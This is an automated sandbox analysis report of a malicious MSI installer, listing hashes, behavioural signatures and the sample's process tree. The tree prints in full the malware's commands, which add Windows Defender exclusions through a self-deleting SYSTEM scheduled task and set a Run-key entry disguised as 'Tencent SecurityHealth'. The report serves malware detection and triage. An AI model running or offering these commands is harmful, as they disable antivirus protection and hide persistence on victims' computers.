Analysis
- max time kernel
150s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
12/07/2026, 08:28
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
app_setup.6653001.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
23 signatures
150 seconds
Behavioral task
behavioral2
Sample
app_setup.6653001.msi
Resource
win11ltsc2024-20260710-en
windows11-ltsc_2024-x64
23 signatures
150 seconds
General
- Target app_setup.6653001.msi
- Size 9.3MB
- Sample260712-kdez2sgx21
- SHA256 00ce83f5a2128c526ef5ef9f2c0183f548bc7972e79cf381221e32202cc9718f
- MD5 1fd2ff13426e2c03f32cc0bc82660f29
- SHA1 67d13d8f15d572b829de75b70db5517eb618f5fc
- SHA512 90c1128624f98b6bae343c3d1a25a9402954617de5e21c093c063b92127764b1eae8c73a6bcf93fd8f32fbff83a010ad49dbdb75dd4e768dd942887111263dfc
- SSDEEP 196608:hP/h3UZiMppzYvOQVqqNjazBtflL4ciUj1jdWW+mRr+geT:hPpUsvO33zbflcJkF+m2T
- TLSH T155A63381A4C639B0C04FCB78649664FEF0253FD2BA2E4D1A77D4B61C5E73A2934B9349
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\KSbWRg = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation liRWKH.exe - Executes dropped EXE 1 IoCs
pid Process 2328 liRWKH.exe - Loads dropped DLL 2 IoCs
pid Process 4268 MsiExec.exe 2328 liRWKH.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\KSbWRg\\liRWKH.exe\"" liRWKH.exe - Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 16 4268 MsiExec.exe 18 4268 MsiExec.exe 20 4268 MsiExec.exe 30 4268 MsiExec.exe 39 4268 MsiExec.exe 49 4268 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\J: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 3704 cmd.exe 4460 cmd.exe 528 cmd.exe 4388 cmd.exe 4036 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b liRWKH.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240 MsiExec.exe - Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSI7B66.tmp msiexec.exe File created C:\Windows\Installer\e5879e0.msi msiexec.exe File opened for modification C:\Windows\Installer\e5879de.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\SourceHash{DBE37440-1514-4BD7-8D8E-BFF5D9F3B754} msiexec.exe File opened for modification C:\Windows\Installer\MSI7AE8.tmp msiexec.exe File created C:\Windows\Installer\e5879de.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 4952 msiexec.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000020c8f0fe5d92f37a0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000020c8f0fe0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090020c8f0fe000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a20c8f0fe000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d20c8f0fe000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\93B4AF7293B493B4A95CB49365D8B493 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\04473EBD41517DB4D8E8FB5F9D3F7B45\UpdFeatYKQD msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\PackageName = "app_setup.6653001.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Media\1 = ";" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\ProductName = "Ali Licensing Agent Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\93B4AF7293B493B4A95CB49365D8B493\04473EBD41517DB4D8E8FB5F9D3F7B45 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\SourceList\Net msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\04473EBD41517DB4D8E8FB5F9D3F7B45 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\PackageCode = "410813F2328F39D409DEE58E3309C588" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Version = "50462843" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\04473EBD41517DB4D8E8FB5F9D3F7B45\Assignment = "1" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4168 schtasks.exe 1020 schtasks.exe 4884 schtasks.exe 980 schtasks.exe 1008 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3808 msiexec.exe 3808 msiexec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 4268 MsiExec.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe 2328 liRWKH.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 660 Process not Found 660 Process not Found 660 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4952 msiexec.exe Token: SeIncreaseQuotaPrivilege 4952 msiexec.exe Token: SeSecurityPrivilege 3808 msiexec.exe Token: SeCreateTokenPrivilege 4952 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4952 msiexec.exe Token: SeLockMemoryPrivilege 4952 msiexec.exe Token: SeIncreaseQuotaPrivilege 4952 msiexec.exe Token: SeMachineAccountPrivilege 4952 msiexec.exe Token: SeTcbPrivilege 4952 msiexec.exe Token: SeSecurityPrivilege 4952 msiexec.exe Token: SeTakeOwnershipPrivilege 4952 msiexec.exe Token: SeLoadDriverPrivilege 4952 msiexec.exe Token: SeSystemProfilePrivilege 4952 msiexec.exe Token: SeSystemtimePrivilege 4952 msiexec.exe Token: SeProfSingleProcessPrivilege 4952 msiexec.exe Token: SeIncBasePriorityPrivilege 4952 msiexec.exe Token: SeCreatePagefilePrivilege 4952 msiexec.exe Token: SeCreatePermanentPrivilege 4952 msiexec.exe Token: SeBackupPrivilege 4952 msiexec.exe Token: SeRestorePrivilege 4952 msiexec.exe Token: SeShutdownPrivilege 4952 msiexec.exe Token: SeDebugPrivilege 4952 msiexec.exe Token: SeAuditPrivilege 4952 msiexec.exe Token: SeSystemEnvironmentPrivilege 4952 msiexec.exe Token: SeChangeNotifyPrivilege 4952 msiexec.exe Token: SeRemoteShutdownPrivilege 4952 msiexec.exe Token: SeUndockPrivilege 4952 msiexec.exe Token: SeSyncAgentPrivilege 4952 msiexec.exe Token: SeEnableDelegationPrivilege 4952 msiexec.exe Token: SeManageVolumePrivilege 4952 msiexec.exe Token: SeImpersonatePrivilege 4952 msiexec.exe Token: SeCreateGlobalPrivilege 4952 msiexec.exe Token: SeBackupPrivilege 3364 vssvc.exe Token: SeRestorePrivilege 3364 vssvc.exe Token: SeAuditPrivilege 3364 vssvc.exe Token: SeBackupPrivilege 3808 msiexec.exe Token: SeRestorePrivilege 3808 msiexec.exe Token: SeRestorePrivilege 3808 msiexec.exe Token: SeTakeOwnershipPrivilege 3808 msiexec.exe Token: SeRestorePrivilege 3808 msiexec.exe Token: SeTakeOwnershipPrivilege 3808 msiexec.exe Token: SeRestorePrivilege 3808 msiexec.exe Token: SeTakeOwnershipPrivilege 3808 msiexec.exe Token: SeBackupPrivilege 4240 srtasks.exe Token: SeRestorePrivilege 4240 srtasks.exe Token: SeSecurityPrivilege 4240 srtasks.exe Token: SeTakeOwnershipPrivilege 4240 srtasks.exe Token: SeBackupPrivilege 4240 srtasks.exe Token: SeRestorePrivilege 4240 srtasks.exe Token: SeSecurityPrivilege 4240 srtasks.exe Token: SeTakeOwnershipPrivilege 4240 srtasks.exe Token: SeRestorePrivilege 3808 msiexec.exe Token: SeTakeOwnershipPrivilege 3808 msiexec.exe Token: SeRestorePrivilege 3808 msiexec.exe Token: SeTakeOwnershipPrivilege 3808 msiexec.exe Token: SeRestorePrivilege 3808 msiexec.exe Token: SeTakeOwnershipPrivilege 3808 msiexec.exe Token: SeRestorePrivilege 3808 msiexec.exe Token: SeTakeOwnershipPrivilege 3808 msiexec.exe Token: SeRestorePrivilege 3808 msiexec.exe Token: SeTakeOwnershipPrivilege 3808 msiexec.exe Token: SeRestorePrivilege 3808 msiexec.exe Token: SeTakeOwnershipPrivilege 3808 msiexec.exe Token: SeRestorePrivilege 3808 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 4952 msiexec.exe 4952 msiexec.exe - Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 3808 wrote to memory of 4240 3808 msiexec.exe 90 PID 3808 wrote to memory of 4268 3808 msiexec.exe 92 PID 2328 wrote to memory of 3704 2328 liRWKH.exe 102 PID 2328 wrote to memory of 4460 2328 liRWKH.exe 105 PID 3704 wrote to memory of 1020 3704 cmd.exe 107 PID 3704 wrote to memory of 2616 3704 cmd.exe 108 PID 4460 wrote to memory of 4884 4460 cmd.exe 109 PID 3704 wrote to memory of 4272 3704 cmd.exe 111 PID 4460 wrote to memory of 2656 4460 cmd.exe 112 PID 4460 wrote to memory of 5068 4460 cmd.exe 113 PID 3996 wrote to memory of 1292 3996 cmd.exe 115 PID 2328 wrote to memory of 528 2328 liRWKH.exe 117 PID 528 wrote to memory of 980 528 cmd.exe 120 PID 528 wrote to memory of 4920 528 cmd.exe 121 PID 528 wrote to memory of 4204 528 cmd.exe 123 PID 4948 wrote to memory of 4756 4948 cmd.exe 125 PID 2328 wrote to memory of 4388 2328 liRWKH.exe 126 PID 4388 wrote to memory of 1008 4388 cmd.exe 128 PID 4388 wrote to memory of 4180 4388 cmd.exe 129 PID 4388 wrote to memory of 1800 4388 cmd.exe 133 PID 4716 wrote to memory of 4304 4716 cmd.exe 132 PID 2328 wrote to memory of 4036 2328 liRWKH.exe 134 PID 4036 wrote to memory of 4168 4036 cmd.exe 136 PID 4036 wrote to memory of 4828 4036 cmd.exe 137 PID 4036 wrote to memory of 4812 4036 cmd.exe 140 PID 4332 wrote to memory of 4408 4332 cmd.exe 141 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\app_setup.6653001.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4952
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3808 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:4240
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 7BE9E9C886D58B448E55F4A4EF39C727 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4268
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:3364
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C:\Users\Public\KSbWRg\liRWKH.exeC:\Users\Public\KSbWRg\liRWKH.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2328 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\KSbWRg\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3704 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\KSbWRg\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1020
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2616
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4272
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4460 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4884
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2656
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5068
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:528 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:980
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4920
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4204
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4388 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1008
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4180
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1800
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4036 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4168
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4828
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4812
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\KSbWRg" /t REG_DWORD /d 0 /f1⤵
- Suspicious use of WriteProcessMemory
PID:3996 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\KSbWRg" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
